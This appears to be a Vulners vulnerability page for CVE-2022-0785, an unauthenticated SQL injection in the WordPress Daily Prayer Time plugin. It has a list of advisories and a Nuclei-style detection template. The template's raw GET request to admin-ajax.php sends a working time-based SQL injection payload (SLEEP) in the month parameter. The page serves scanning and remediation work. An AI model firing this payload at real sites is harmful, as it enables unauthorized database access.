| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2022-0785 | 18 Apr 202218:15 | – | attackerkb | |
| CVE-2022-0785 | 18 Apr 202222:23 | – | circl | |
| WordPress plugin Daily Prayer Time SQL注入漏洞 | 18 Apr 202200:00 | – | cnnvd | |
| WordPress Daily Prayer Time plugin SQL注入漏洞 | 20 Apr 202200:00 | – | cnvd | |
| CVE-2022-0785 | 18 Apr 202217:10 | – | cve | |
| CVE-2022-0785 Daily Prayer Time < 2022.03.01 - Unauthenticated SQLi | 18 Apr 202217:10 | – | cvelist | |
| CVE-2022-0785 | 18 Apr 202218:15 | – | nvd | |
| CVE-2022-0785 | 18 Apr 202218:15 | – | osv | |
| WordPress Daily Prayer Time plugin <= 2021.10.29 - Unauthenticated SQL Injection (SQLi) vulnerability | 23 Mar 202200:00 | – | patchstack | |
| Sql injection | 18 Apr 202218:15 | – | prion |
id: CVE-2022-0785
info:
name: WordPress Daily Prayer Time <2022.03.01 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Daily Prayer Time plugin prior to 2022.03.01 contains a SQL injection vulnerability.. It does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action, available to unauthenticated users, leading to SQL injection.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database and potentially sensitive information leakage.
remediation: |
Update to the latest version of the WordPress Daily Prayer Time plugin (2022.03.01) to fix the SQL Injection vulnerability.
reference:
- https://wpscan.com/vulnerability/e1e09f56-89a4-4d6f-907b-3fb2cb825255
- https://wordpress.org/plugins/daily-prayer-time-for-mosques/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0785
- https://github.com/20142995/sectool
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0785
cwe-id: CWE-89
epss-score: 0.09214
epss-percentile: 0.94698
cpe: cpe:2.3:a:daily_prayer_time_project:daily_prayer_time:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: daily_prayer_time_project
product: daily_prayer_time
framework: wordpress
tags: time-based-sqli,cve2022,cve,sqli,wordpress,wp-plugin,unauth,daily-prayer-time-for-mosques,wpscan,wp,daily_prayer_time_project,vuln,vkev
http:
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "dptTimetable customStyles dptUserStyles")'
condition: and
# digest: 4b0a00483046022100813d2dcb00abb0e3fc3bcd84eaeb988ee92ad9e8f58d0e2b33d5ee08f74423a1022100b7c89ccba5edb8e004bedbf8f35c1f77f3a11d403d31650378b579f596cafb10:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation